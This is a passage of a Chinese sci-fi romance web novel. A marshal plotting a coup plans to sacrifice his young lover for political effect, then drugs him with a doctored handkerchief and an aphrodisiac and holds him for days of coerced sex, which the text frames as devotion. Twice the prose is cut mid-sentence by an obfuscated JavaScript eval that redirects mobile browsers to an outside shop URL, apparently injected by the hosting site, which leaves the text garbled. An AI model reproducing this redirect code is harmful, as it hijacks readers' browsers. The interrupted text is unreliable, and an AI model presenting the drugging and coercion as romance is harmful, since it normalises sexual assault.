“……啊?” 耳麦另一端的副官说,“谁做了他?我?我做了他?那你不得分分钟做了我?” 恺撒没搭理他,一边通话,一边缓步绕行到治疗舱一侧。 义眼盯紧林成彬的脸,又转向一旁的心率监测仪。 监测仪没有任何波动。 银发男人挑了下唇角,挂断通讯,转身离开病房。 他的手都已经触到门了,却转向腰后的枪套,径直拔出爆能枪,然后大步走回治疗舱旁。 森冷的枪口,毫无预兆地顶住林成彬额头。 “喀嚓”一声上膛。 监测仪依然没有波动。 心率曲线始终平缓起伏,就是一个昏迷伤患应有的样子。 恺撒微微一哂,这才把枪放回枪套。 他走出病房,不用作声,只随意抬了抬手,走廊里立刻有荷枪实弹的士兵过来,把病房看守得水泄不通。 林诺跟着杜兰德往车库走。这里是十三舰队的驻防基地,十三舰队是联邦重型舰地球防御部队,不管人数规模还是军备火力,都要胜过驻扎木星的第三舰队百倍,可以说是联邦最核心、也是紧要关头时唯一能仰赖的军事力量了。 然而他一路往地下走,却无意发现了一个很诡异的现象:即便恺撒已经卸任军职,即便杜兰德他们只是恺撒的警卫队,然而十三舰队来往的军士,无论军衔高低,只要见到他们的狼耳朵,依然会迅速立正行礼。 反倒象征联邦政府的督战干事,却被他们完全视作空气。 ……如果站在这里的是25岁的林诺,他就会从此刻起骇然醒悟,并迅速为自己和小叔筹划退路。 但19岁的林诺,即便成长迅速,也还是太稚嫩了。他隐约能嗅到军营里某种危险讯号,但那讯号太隐晦,他始终没能很好地分辨出来源。 他就像古地球时捡起那块能源晶的勘探者一样,也像所有被驱赶向历史转折点的人们一样,总以为当下只是联邦历史上有些波折、但也算平常的一个月。 小叔的伤势会好起来,地球的动荡总会逐渐平息,木星环城遇袭事件的责任人也会得到处置,因遇袭停课的中央军校会再次开课。 他还是可以回校上课,跟并肩作战过的学姐学长们见面,然后顺利毕业,靠战绩成为一名机甲师…… 林诺未曾来得及意识到——这就是在太阳系存续两千多年的第三行星联邦,大厦将倾的信号。 “元帅,我们接到密报,秘密调查局近期准备跨过审查程序,直接将您送上军事法庭。” 长桌右侧的参谋说。 “或许是我们在暴乱中策划的政治谋杀稍显密集,他们始终抓不到您的把柄,所以被彻底惹恼了。我可以确信,他们会借用您擅调第三舰队救援的罪名,在法庭过后的拘留期,就将您秘密处决。” “我不担心调查局把我送上军事法庭,只担心他们再三拖延。” 恺撒微笑道,“凡担任过将衔以上军职,按照联邦宪法,法庭须向全体公民实时公开审理进程。这将是一个绝佳的表演舞台。我以卡厄西斯之名向你们保证,这场表演过后,联邦政府倒台就是毋庸置疑的结果。” “我们百分百信任您的能力。可供这场表演的素材,如今也已准备得趋于完美。只剩下‘暴风眼’计划的收尾环节了。等到那个Beta孩子完成最终献祭,首席执政官的位置对元帅而言,不过也只是探囊取物罢了。” 从星陨战役至今的全盘部署,虽然有着不小的波动,但也到底顺利走到了今天。 因此参谋和麾下将领们心情愉快,他们忽略了来自主座的骤然沉默,还在席间语调轻松地复盘: “……没想到真能走到这一步。5年前元帅制定这个计划时,我们还忧虑不已。即便联邦的Beta高达上百亿,但想找到一个如计划中完美的政治工具,又谈何容易……” “……是啊。那个Beta孩子的战斗天赋惊艳绝伦,可是政治表演方面,那真是不提也罢……跟元帅巡回演讲的那几场,我在台下看着都以为要不中用了。可是木星环城救援的那场作秀,堪称天时地利人和,就算我深耕名利场多年,也从未见过如此完美的表演……” “……能用他引爆联邦的民意,是必然的结果。早知如此,我们就该给他量身打造更适合他的人设。也怪我们打造方向错误,差点给元帅拖了后腿……” 议事厅中央投着联邦星图,因此光线昏暗,让银发男人的神情也隐没在阴影中。 部下们只顾兴高采烈地交谈,没有注意到他戴着皮革手套的指尖,已经在桌沿躁郁地轻敲许久。 5年前,正是他亲自率领部下,制定了整个“暴风眼”计划。 一个天赋绝佳的Beta,来自联邦的基岩——庞大、沉默,饱受忽视,却蕴含着颠覆性力量的Beta群体。 发掘他,教导他,与他牢牢绑定,利用大型赛事或政治表演,将他推到Beta们从来无法触及的高处。 怯懦者因他而振奋,沉默者因他而发声。 特权阶级攀附在血肉构成的基岩上,如毒虫般麻痹了他们的神经。 所以他需要一道惊雷,一旦劈响,所有持续麻木的灵魂,都会开始震动。 “……掌控军队而不掌控民意,只能称其为军阀。掌控民意而不掌控军队,则会沦为软弱的口头变革者。而我平等地鄙夷这两者——我发誓会比他们走得更远,攫取更多。” 5年前的恺撒站在长桌另一头,朝众部下侃侃而谈。 他眼部的疤痕还未愈,但金属义眼中透出的庞大野心,已经能越过岁月和这张长桌,咄咄地朝他自己逼来。 “你们当真认为所有人都跟我们一样在意星陨战役的真相?是的,也许他们会在想起时咒骂两句联邦政府,但终日为食宿奔波的平民,谁又能做到只为在几百光年外阵亡的陌生军人,赌上自己的一切推翻联邦? “……麻木的人擅长苟且偷生,他们本能回避尖锐的阶层矛盾,好诓骗自己仍然保留人类应有的尊严。而我不会让他们就这样顺心如意。他们会被惊醒然后在他们的希望之星身上,看见或许曾被特权阶级偷走的人生。他们会对他怀有莫大的憧憬、幻想、乃至追崇,他们会为了他的每一次胜利而欢呼,每一次落魄而流泪,直到有一天——” 5年前的恺撒抬起指尖,自面前的空气往下,划了一道笔直的坠落线。 “——他们将亲眼看着他陨落。” 他沙哑却快活地说,“不会落在我们手里,而是我们的敌人手中。至此,他们将爆发出迄今为止,最可怕的风暴。” 5年前的恺撒朝前方射出一枚子弹,原想贯穿联邦政府的心脏,却未曾想先一步穿透了他自己的眉心。 “暴风眼”计划在他策划的诸多政治阴谋中,甚至不能拥有很高的优先级,其余诸如拉拢财团、暗杀议员、控制军部等,都远比它更重要得多。 政治格局本就瞬息万变,或许到了最后,它也会像那些5年前就已制定,但因形势变化而不再启用的方案一样,被粉碎在不见天日的地下——或许在南境的暴风雨中,或许更早,他就已经这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299685|125660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 期盼过。 然而讽刺的是。 无数被形势摒弃的方案在前,“暴风眼”计划却一直在平稳推进,直到最终稿抵达兑现阶段。 “那个Beta孩子如今在秘密调查局眼里,应该已经完全属于元帅派系。密报称,秘密调查局也已展开针对他的抓捕计划,一旦林诺被他们抓获,酷刑拷打是必然的。” 参谋说,“以他如今在联邦的民望,如果无故死在调查局,再由我们事后推波助澜——” “元帅,您只需记得在军事法庭的舞台上,为他公开哀悼即可。联邦政府除非亲手撕毁选举法,否则,无人再能阻挡您被推上首席执政官的宝座。” 长桌两侧的参谋你一言我一语,反复推敲方案详情,直到有人终于发现,恺撒沉默的时间过分长了。 “我还需要再考虑一些细节。” 银发男人抬眸,语调还是很平静, “感谢诸位一如既往的中肯谏言。今天先到此为止。” 参谋们陆续退场。恺撒独自一人坐在主座,动也不动。 房间中央的星图熄灭,而浑浊的黑暗吞没了他。 少顷,他才在黑暗里挂上耳麦,连接通讯。 “用来替代林诺的尸体,假死后新的档案信息,新的身份id,新的住处,已经按照你的命令准备好了。” 副官在那一头说。 “很好。” 良久,恺撒才吐出两个字。 “但秘密调查局毕竟不同军部。尽管我们陆续安插过许多眼线,我还是不敢保证,把林诺送进调查局后,可以让他百分百脱身。” 副官继续说。 “我们跟调查局斗了那么多年,局里有太多人恨透了你。在他们看来,林诺本来就是被你当做继承人培养的,必然也深入参与我们的计划。他们不会那么轻易放过林诺的。” 他客观分析了一堆,最后,才补充一句: “不过,我认为这些风险,你应该比我更清楚。” 沉默。 自副官来到恺撒麾下,他好像甚少见到对方在决策阶段如此迟疑。 恺撒是他跟随过的上级之中,最符合“冷血利益机器”这个词的人类。 无论在军事还是政治领域,只要能够获得大局胜利,抛弃、牺牲、暗杀都是常事。 很难不想象等他真正统治整个联邦,他就会成为最典型的马基雅维利式皇帝。 “……我绝不能容忍在他们手中落败第二次。” 良久,他才听见恺撒在黑暗中发话。 看不见表情,但声线极狠,全然不似平时和缓沉稳。 “他们在密谋夺走我的精神力时,就该预料到被血腥报复的一天。一旦我掌控整个联邦,我会彻底肢解这个恶贯满盈的走狗养殖地,然后一个接一个挖掉他们的眼球,拔出他们的舌头——直到找到是谁对冥炎动过手脚为止。” 恺撒返回安全屋时,已经临近凌晨两点。 他制止安全屋外向他行礼的士兵,开启安全屋的舱门,并在它们自动闭合时,用大衣垫了一下门缝,以免关门时的碰撞声过大。 不过,当他回到和林诺一起住的卧室时,他发现卧室门虚掩着,里面透出很温柔的暖光来。 他轻轻把门抵开。 林诺没睡,正一个人背对着门口,在书桌前忙碌着什么。 脑袋上还戴着那个很旧的金属耳机。 恺撒在门口站了一会儿。 台灯发出的暖光,像是有一股吸力,牵动他的双足缓慢走向少年。 走到林诺背后,他俯身环住那截细腰,鼻尖探进香喷喷的领口:“怎么还不睡。” “你……!吓我一跳——” “抱歉,小猫。为什么又戴上耳机了?感官超载又发作了么?” “没有发作。就是最近实在有点心烦。” 林诺嘟囔着说,顿了顿,又去回答恺撒的第一个问题:“我是在等你回来。” 恺撒微微勾唇。他回想起以前黑发小猫在港口等他,等到脑袋碰着墙打瞌睡的事,又偏头去吻他的侧脸,轻声道: “我知道。” “你知道还要问我……” “我今天很累。小猫让我抱一会儿,好不好?” 林诺眨了下眼,顺从地把耳机捋回脖子上,椅子让给恺撒坐,自己则顺着他搂腰的力道,两腿分开坐在他大腿上。 他这些日子其实也不好过,要么在不断转移,要么就被拘在密闭的安全屋里,像困兽一样在屋里来回打转。 光脑虽然还能联网,但学姐学长们的通讯也再没进来过,他也打不通对方的通讯器,除了恺撒,他连一个能够交流的对象都没有了。 但在他获得的信息里,恺撒也是在为了他的事四处奔波,既然舆论风波至今未能平息,或许恺撒承受的挫败也不比他少。 于是,他把自己的苦闷埋藏心底,黑发脑袋挨在恺撒脸边,两手抱住男人的后背,就这样静静陪伴他。 “……等一下。你不可以再吃我的……。” 坐在恺撒腿上的姿势,让对方的嘴唇恰好触在他胸肌,林诺猛地一个激灵,又涨红脸低声警告。 “它们都有点……咳,变形了。明年夏季我们会有海陆两栖特训,我不想在换衣服时被班里的Alpha说三道四。” 恺撒又笑。 他原想说他不吃,只是突然想被林诺拥抱而已,但林诺话里的“明年”,却又像毒针一样深深刺痛了他。 银发男人喉结滚动,尽力控制住表情,依然像往日一样逗弄他: “变成什么样?让我好好看看。” “……不……!不行……!” 林诺被箍在他腿上,就在男人臂弯里左躲右闪,小小的嬉闹,让两人脸上都慢慢亮起笑意。 然而林诺躲闪时,后腰不慎撞到书桌的边沿,很响的“哐当”一声。 恺撒眉心一蹙,手掌已经隔在他的腰身和桌沿之间:“当心。别再扭了。” 他越过林诺的肩,低下头去看。 他原意是想看林诺的后腰,然而目光无意扫过书桌上的东西,义眼猛地一滞,脸上的笑意瞬间泯灭。 书桌上全是散乱的纸张,罗列着大量的人名、关系网和潦草的推测。 恺撒对那些人名相当熟悉,基本是本届参选首席执政官的议员名单,应该是林诺从星网上抄下来的。 林诺从来不会坐以待毙,也不甘在跟恺撒的关系里仅充当被保护者,所以在恺撒回来前,他就独自坐在这张书桌旁,用自己能力范围内能获取的所有情报,反复推演这场舆论风波的事实受益者。 “……你看,这里都撞出淤青了。别动。” 恺撒揉着林诺的后腰,目光则缓慢扫过那张“嫌疑人”名单。 因为他的缘故,有不少议员“自愿”退出了本届竞选,真正留在游戏里的人,到现在已经所剩不多。 林诺抄了没几行,就抄到了他的名字。 但“Caesar”这个人名,林诺只来得及抄了头三个英文字母。 随后,就是一道快速的涂黑痕迹。 恺撒抱着黑发小猫温热的身躯,手指缓慢收紧,几乎深深嵌在少年臀肉里。 他其实本该感到庆幸。 然而恐慌——不复拥有的恐慌,却从极阴暗之地,再度朝他步步紧逼。 林诺搂着年长恋人的肩膀,见他迟迟不说话,就想偏头问他:“你……” 但恺撒先一步堵了他的唇。 那双无机质的金属义眼,在眉骨阴影中缓慢抬起,然后男人微笑着问:“我今天可以绑着你吗?” “?” 林诺知道他的癖好,也明白这是一个邀请,但他默默瞅了一眼全息时钟——都快凌晨三点了。 他看着恺撒的脸,内心纠结片刻,低声问:“……实在很想吗?” “很想。” “……” 林诺低下头,浓墨般的眼睫盖住小红痣,自己默默解开腰带。 也不知道是不是他的错觉 他隐约觉得,银发男人最近几次,似乎都不像从前那样耐心温柔——毕竟恺撒的耐心程度,曾让他吃过不少苦头。 他们尺寸本就很不匹配,如果再缺乏耐心,林诺是无法全情享受的。 “……痛。” 林诺的脸埋在枕头里,手脚都被固定着,只能紧蹙着眉闷哼,“有点……痛……!” 恺撒停住了。 少顷,他整个人覆上来。 布满可怖灼伤的手掌,自后颈向前环抚,最终扣住林诺的咽喉。 “……你曾经说过,只为无法驱动机甲的人而战,要为弱者打走欺压他们的大坏蛋。” 恺撒薄唇贴着他的耳后,在黑暗中沙哑低语。 “可如果有一天,小猫发现我也不是什么好人,也是要被打跑的大坏蛋——你会怎么做?” 林诺脑袋埋在枕头里,湿漉漉的黑发把枕套都打湿了。 他压根没反应过来,只知道跟着恺撒的话说: “……你怎么会是大坏蛋呢?你一直是……是我的英雄……呃!” 他猛地往前一倾,皮革和锁链的声音在房间哗然作响。 这下让他的大脑清醒了一大半,他隐约意识到,这不是恺撒想听见的答案。 为什么他这样问? 林诺抵着枕头喘息。 难道是在解决舆论风波时,做了什么违心的事? “……如果是你的话,我会想先知道为什么。” 林诺低声回答,“一个人不会无缘无故变成大坏蛋的。我会觉得……应该更多地了解你。因为你是我、我喜欢的人……” 恺撒沉默。 林诺被他压得喘不过气,又一次挣动手脚,示意成年Alpha从他身上移开。 然而恺撒并没有移开。 他在黑暗里很轻地笑了一声,然后用几乎不可察觉的嗓音,在林诺耳边说:“骗子。” “……什么?” “骗子。” “……我没骗你!” 莫须有的指责,让林诺也开始生气,他甚至仅靠腰腹力量,就挣扎着坐了起来,跟恺撒面对面。 他生气道:“我不是骗子!” 黑暗里,恺撒伸出疤痕累累的手,缓慢抚摸林诺的侧脸。 “骗子。” 最终,他仍微笑着坚持,并首次暴露出面具下方,从来偏执阴暗的本性。 “你不会这样对我的。” 60.第 60 章 就从那天晚上开始。 林诺莫名觉得,恺撒变得越发阴晴不定。 他依然有数不清的会议、演讲、政治会面,每天都要工作到深夜,才会带着一身冰凉的露水,回到安全屋。 林诺还是习惯性地等恋人回来,但每当恺撒进门看见他,就会露出某种既不像宽慰,也不像眷恋的表情。 如果非要形容,那是一种近似痛苦的晦暗感情,因潜藏在下的实体已经过于巨大,因此即便是他,也不受控地暴露出冰山一角。 “我似乎并没有要求过让你等我回来。为什么你总是这样自行其是?” 恺撒说。 “……”林诺以为自己听错了,“什么?” 他眸色转冷,慢慢从沙发上站起,想弄明白对方只是心情不好,还是真的想要跟他大吵一架。 但下一秒,银发男人却大步跨过来,紧紧把他抱进怀中。 “……是我说错话了,小猫。请原谅我。” 他贴在林诺耳边低沉喃喃,手臂箍得林诺腰身发疼。 “我也爱你,林诺……因此任何人都不可能把你从我身边带走。就算是你自己也不能。” 或许是恋人为了保护他而心力交瘁,才会突发恶疾。 林诺攥紧拳头又松开,最终忍了下来,还是默默地回抱他。 但这种事并没有随着恺撒道歉而停止。 似乎每一次恺撒开会回来,他跟恺撒都会爆发激烈的争吵。 恺撒的潜意识,仿佛分裂成了两半,一半在无所不用其极地把林诺推远,另一半却在竭尽全力把林诺强留在身边。 这样的两极拉扯,不仅让他再也无法维持从前的冷静从容,还让林诺也饱受折磨。 “消息确定了。秘密调查局会在月底对您发出提审令。” 参谋说。 “这是决胜之时。因此在您走上军事法庭以前,必须确保那个Beta孩子先一步牺牲。我们已将一切安排妥当,只等您确定最佳时机。” 恺撒在下属面前很少暴露个人情绪,因此截至此刻,依然没人发现他的有意拖延。 但即便他能掌控一切,也无法掌控这个宇宙运行的时间—— 残忍的,滴答推进的时间。 男人垂下义眼,银白色的眼睫轻微颤动。 但他很快抬起,语调沉稳地回应:“好。我自有安排。” 恺撒返回安全屋。 因为舆论风暴始终未曾平息,林诺又被他转移到一个新的安全据点,以免在计划进程中被星盗之流截胡。 房间还是亮着灯。 恺撒一进门,就先背过身脱下大衣,似乎那温暖的光源,会灼伤他的义眼。 但当他转过身来时,一盆红艳艳的玫瑰花,已经杵到他眼前。 “……我委托随行长官们买的。” 林诺说,另一只手难为情地抹抹鼻子。 他们这段时间总是莫名其妙起摩擦,弄得林诺常常闷在安全屋里难过。 但当情侣光脑上的日历闹钟响起时,他还是勉强打起精神,去做日历提醒他做的事。 “两百天纪念日。你忘了吗?” 林诺看看他的表情,又有点失落,低下头踢踢地板,“南境那次旅行的两百天纪念日……” 情侣间可能会送纪念日礼物,这件事还是林诺在庄园养伤时搜到的。 那时他为恺撒深夜徘徊的模样感动,打定注意往后要对恺撒更好,于是在光脑上记下了他们初次确定关系的日子。 一百天纪念日是赶不上了,因为那会儿还是他陪恺撒度过易感期的时候。 但至少两百天纪念日他们在一起,林诺也想借着这个机会,好好跟恺撒谈一谈,把他们最近老吵架的原因讲开。 他记得自从自己在庄园里送过恺撒一束玫瑰,恺撒就一直把它插在办公桌上。 不过,新鲜花束毕竟有保鲜期,不管怎么精心养护,他送的那一束还是在一个星期后慢慢枯萎了,当时恺撒还露出了特别遗憾的表情。 不过从那以后,恺撒的桌上总会习惯性养一束新鲜玫瑰,不管是在庄园还是私人飞艇上,林诺就猜他可能是自己也挺喜欢这种花的。 于是,他索性拜托值勤的卫兵帮他买一盆带土的玫瑰,连盆带花举到恺撒面前。 “玫瑰带根茎的话,就不会那么容易枯萎了。” 林诺一手举着个粗糙工业风泥盆,一边非常直男地说。 “我还给它做了一个新盆,加装了自适应生态管理装置。检测到土壤湿度低于蔷薇科所需标准,这个盆底部的自适应装置就会启动,然后提供玫瑰需要的水分和营养液……咳。我觉得应该会很实用的。” 玫瑰花移植到他的盆里,每朵花苞都吸饱了营养液,开得又大又红,火团一样,明艳地映在恺撒眼珠上。 有那么一小会儿,林诺隔着锦簇的花枝,看见恋人情不自禁露出了一个微笑。 那笑容很宠溺,很温柔,也多少有点看见泥盆的无可奈何。 特别像他们在庄园里,恺撒从早到晚陪他治疗ptsd的时候。 于是林诺也低下头,很别扭地弯起嘴角。 然而下一秒。 戴着皮革手套的手,毫无预兆地拨开了花盆。 林诺本就单手举着,一时没有拿稳,养着玫瑰花的泥盆,“啪啦”一声,在地上摔得粉碎。 ……他整个人都愣住了。 恺撒把手放下。 他看看地上的碎片,去启动墙角的自动清洁机器人,同时淡淡道: “以后不用做这种事。早点睡吧。” 林诺看着他。 他什么也没说。径直转身,往房间走去。 恺撒靠着墙,看机器人拾掇地上的碎片和土块。 吸尘口嗡嗡地抽吸着满地残骸,而他看着看着,还是弯下腰,想去捡散落在土块间的玫瑰。 只听“砰”地一声摔门重响,刚回房间的林诺又出来了。 他刚刚回去拿了他的耳机,还有几件外套,面不改色踏过满地残骸,大步朝安全屋门口走去。 “……不,小猫。等等——” 林诺站住脚跟,回过身来。 少年始终不吭声,下颌紧绷,俊美到傲慢的脸上,有一层很冷的冰霜。 他盯住恺撒的眼睛,一点点把手腕上的情侣光脑褪下来,用力掷到一边的沙发上。 随后,林诺把门边的书包也甩上肩膀,开门就走。 ——放他走吧,恺撒。 灵魂深处,有一个很轻的声音在说。 就让他逃到你永远抓不住的地方。 这样一来,你就有理由面对下属,面对自己的野心,正式宣告“暴风眼”计划的失败了。 安全屋的舱门在隆隆关闭,而他在越来越狭窄的门缝中,看着林诺的身影。 林诺被气得要命,大步迈上台阶时,还抬起胳膊,用力抹了一下脸蛋。 但他一次也没有回头。 仿佛从前跟恺撒的一切,都不过只是他脚下的一级石头台阶。 他只需要轻轻地一抬脚,就能毫无阻碍地迈过去。 灵魂里那个极轻的声音消失。 取而代之的,是庞大如黑泥般的焦渴。 ——恺撒一拳砸上舱门面板,让正在关闭的舱门,再度徐徐打开。 他连大衣也没拿,径直追了上去。 “……放手!” 林诺的胳膊被抓住。 他不想跟对方说话,回头冷冷瞪了恺撒一眼,手一用力,就把恺撒的手再次挣开。 ……然而他并不知道,这与梦境极其相似的一幕,将会何等刺激恺撒。 成年Alpha的压迫感,就在那一刻溢满整个地下通道。 在林诺反应过来时,他的后背已经撞上通道的墙,脸颊两侧一紧,被皮革手套牢牢捏住抬起。 “……你还记得向我承诺过什么吗?” 恺撒背对着光源,垂向他的脸根本看不清表情,只有嗓音极低、极沙哑地从喉间挤压出来。 “你说你会永远留在我身边。你说你会爱我,会比从前更加珍惜我,是你提出跟我确定关系的——你都忘了?如果你忘了,我会一遍又一遍提醒你,让你践行自己的诺言……” “……我的承诺从来不是被你作践尊严的借口,恺撒!” 林诺被他捏着脸抵在墙上,手掌使劲扳着对方岩石般坚硬的小臂,眼中喷出滔天怒火。 “如果你以为我喜欢你、尊敬你,就可以毫无底线地对我发泄情绪,那你错了!我自问我从未做错过任何事,也没有任何理由要被你这样对待!滚开!” 如果有什么事能比跟恺撒打架更加震惊林诺,那必然是他俩还能再打第二次。 即便整日被拘在安全屋,林诺也从未放松过训练,因此他的拳脚比上一次更强、更凌厉,三两下就让恺撒松了手。 恺撒却不像上次一样,他不挡、不回击,但只要林诺有任何要往通道外撤退的迹象,他就会直接一个擒抱,重新将少年Beta牢牢控制在墙边。 地下通道的动静,引来了在外戒守的士兵。 十三舰队的地面部队荷枪实弹,如潮水般黑压压逼进通道。 通道外的某个地方,还隐约传来武装直升机的螺旋叶声。 恺撒眯起眼,低声厉喝:“退下!” 地面部队当即止步,安静退出通道。 林诺看着这一幕,只觉一股寒意莫名从脊背升起。 他转移到这个安全据点时,据点上方只有一座普通的居民小区,负责护卫的,也只是一小队近卫士官而已。 然而刚刚看见的士兵数量,却远超他的想象。 他似乎头一次对“恺撒控制着大规模部队”这件事有了概念,也头一次将惊惧的目光,投向面前的银发男人。 ……在这种级别军队的包围下,难道除非恺撒同意,否则他根本不可能靠自己离开? “小猫,我们不要在别人面前吵架。” 恺撒哑着嗓,试图重新抱住林诺的肩。 “都是我的错,是我没能控制好工作中的情绪。我们回家去,我会向你解释清楚。好吗?” “……‘都是我的错’——这是你本周第9次对我说这句话。” 林诺把牙根咬得发疼,他不愿意在剑拔弩张时显得软弱,但看见年长恋人的脸,一股莫大的委屈涌上心头,让他连嗓音也一同哽咽。 “我不明白你最近为什么总对我发疯。难道你以为你救了我一命,教我学会开机甲,就能获得一个任意拿捏的玩具?我告诉你,这辈子不可能,下辈子也不可能!” 恺撒没有回应。 他看见林诺撑着膝盖喘息,鼻尖和眼尾都在发红,觉得这会是一个很好的哄人时机,就微微屏息,很小心地一点点靠近。 但还没能碰到对方炸起的毛发,脸先挨了一拳。 “走开……!” 林诺拽起书包,直接朝通道外逃离。 果然如他所料。 转移时看似平静的居民小区,此刻已经全是黑压压的武装部队。 小区外不远处,还有停靠着装甲悬浮车。 见林诺从地下通道跑出来,对暴风眼计划大致有了解的地面部队,“喀嚓”一声上了膛。 “全体士兵,向后转。” 紧随追出的恺撒冷声下令。 于是所有士兵收回枪支,集体转身,背对他们扶枪跨立。 “……我们回去再说。好吗?” 恺撒抓着林诺腕手腕, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13337954|125660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神色真正显出焦灼来。他是制造造神舆论的人,所以比任何人都清楚,联邦现在会有多少把狙击枪对着林诺。星盗、叛军残部、秘密调查局,或许反对暴民的保守派都要来分一杯羹。 “这里说话很不安全。跟我回去——小猫,至少在外面听我的话……!” 当林诺又一次成功挣脱他时。 银发男人脸上,陡然闪过一丝极疯的戾色。 他一手抓住林诺的腰带,另一只手从衣袋取出手帕,径直捂住了林诺的口鼻。 那手帕上,有林诺非常熟悉的信息素香水味,但也有另一种古怪的香甜气息。 他在恺撒怀里奋力挣扎,但恺撒低垂着义眼,大手紧紧扣在他的脸上,纹丝不动。 “唔……咳咳……” 林诺双腿发软,险些软倒在恺撒的军靴上。 他抓着恺撒的衣领,呼吸急促,浑身发热,几乎不敢置信地抬头望着对方。 “……什么?手帕里……” 话音未落,林诺就整个人软了下去。 恺撒屈膝俯首,小臂环过林诺的膝弯,径直把人抱起。 “……混账……卑鄙!” 恺撒沿着建筑物狙击盲区,一路快步走回地下通道。 等进了安全屋,他又一脚把卧室门踹开,把林诺放在柔软的床垫上。 “该死……!” 林诺浑身燥热,屈辱感已在此刻到达顶峰。 他咬紧牙关,硬撑着湿漉漉的身体,要跳起来继续揍人。 “……是准备下次做的时候再用的——够了!” 恺撒猛地攥住他双腕,眉弓蹙得很紧, “躺下,我先帮你处理,然后我们再好好谈谈。别再闹了。” “……你试试在这个时候碰我!!” 恺撒向后一退,躲过一记迅疾如电的勾拳。 林诺在愿意亲人的时候,就是全世界最可爱、最痴情、最讨人喜爱的别扭小猫,但脾气一上来,简直性烈如火——这点恺撒也再清楚不过。 然而他往后躲闪,后背“哐”地撞上置物架。 藏在架子顶端的玫瑰色药瓶,“当啷当啷”摇晃了两下。 跟信息素香水一样,能够让性无感者也体会AO易感期的慢性媚药,也是他从专业人士手中定制的。 如果要说原因,那应该是无论平时如何教弄,黑发小猫对他的信息素依赖程度,永远跟不上他飞涨的渴求阈值。 他要林诺离不开他。身心皆是。 在不能标记一个Beta的前提下,将慢性药混入信息素香水,已经是他唯一的选择。 恺撒的义眼转向架子顶端的药瓶,随后转向还在床上发怒的小猫。他已经想好要怎样收场。 因此当又一记刺拳直冲他面门,他以一个计算好的角度,再次撞上背后的置物架。 玫瑰色药瓶终于从架子边缘滚落,“砰”地一声,在地板上摔得粉碎。 比手帕上浓郁百倍的香气,霎那间充斥整个密闭的房间。 “你知道我为什么特地命人调制这个吗?” 恺撒眯起眼。在尚且保有理智的最后几秒钟,他微笑着告诉林诺: “这样你就会明白我在易感期时的感受了。我觉得,这也算是一种公平。” 他们之间相对激烈的行为,其实有过很多次,但一般总有一方能保持理智。 平时是恺撒处于主导掌控位,一点点把林诺逼得崩溃求饶,易感期时则是林诺保持冷静,用自己尽力安抚恺撒。 然而双方同时失去理智,这还是破天荒头一回。 安全屋的行军床是木架子临时搭建的,因此塌得飞快。 那时林诺勉强找回一丝理智,正一边激动大骂,一边胡乱抓着恺撒的银发,要他立刻滚下来。 但银发男人看着他的脸,唇角始终有一丝愉快的笑意。 他紧紧咬住林诺的腺体,就像一头全然听不懂人话的野兽,持续往下猛砸到床板塌陷为止。 房间的通风系统是内循环,因此从药物香气最浓郁的顶点,循环到香气渐渐散去,还需要好几天时间。 林诺时而沉沦,时而又挣扎着清醒,沉沦时身体紧缠住对方不放,清醒时就跳起来斗殴。 几天下来,两个人身上都挂了不少彩,恺撒的上半身到处鲜血淋漓,挂满了林诺奋力撕咬的伤口。 林诺的身上也到处都是淤青,这是他被压在房间各个角落时撞出来的。 恺撒紧紧把他压在地上,肩膀在持续往林诺脸上滴血,但他本人却浑然不在意,甚至发出了一声很轻的笑。 “是的……就是这样。我真喜欢小猫在易感期时的样子。索求我的时候很漂亮,……也很缠人。” 恺撒一手控着他的脖颈,在他耳边低声道。 “要是小猫永远都留在易感期里就好了。我也再不会像从前那样患得患失……” “……疯子!!” 林诺满眼都是愤怒的泪,他一拳接一拳往恺撒脸上抡去,“我是Beta,永远不会有易感期!!” “是的……你说得很对。Beta是永远不会有易感期的。” 恺撒侧脸挨了一拳,压根无所谓似的,又把脸转回来。药物也同样刺激出了他的易感期。 一般对恺撒这种级别的Alpha而言,易感期是可控的,然而多日的挣扎煎灼,却让他此刻像是破罐子破摔,一点也不想控制,反倒任由思绪自由飘散,说一些非常骇人的胡话。 “……Beta是永远不会有易感期的……” 他反复喃喃着,嘴唇摩挲着林诺唇肉。 少顷,却突然像是灵光一现似的,缓慢抬起闪烁的义眼。 “小猫可以生孩子吗……? “——给我生个孩子吧。” 61.第 61 章 “——给我生个孩子吧。” 林诺的回应是一记坚决有力的直拳。 但他转瞬被按在地板上,脸和鼻尖都浸在未干涸的药水中。 又一阵颤栗感涌遍四肢。 他的身体做出了跟咒骂截然不同的反应,情绪开始变得躁动、缺乏安全感。 以至于必须像溺水者一样,紧紧攀住Alpha的脖颈。 而恺撒就像早已深谙这种易感期才会出现的反应,手掌抚住他的后脑,声线低沉地哄着: “别害怕……好孩子,我在这里……只有我会一直在你身边。就这样看着我,全心全意地依赖我就好了。抬起头亲我——唔……真乖。好乖的小猫……” 等到循环系统把室内的香气清除,林诺也已经几乎不能动弹。 安全屋是全封闭的,人眼无法区分昼夜更替。 他只有在几次清醒时,感觉恺撒在往他嘴里喂营养剂。 或许这是他能撑过这些天昏地暗的日子的主要原因。 梦里不时出现的机甲驾驶舱,也不知何时成了森黑的牢笼栏杆。 四周都是死一样的漆黑寂静,他看不见更远处的黑暗里有什么,只能听见沉缓的脚步声——有人在牢笼外的黑暗里,绕着他一圈圈踱步观察。 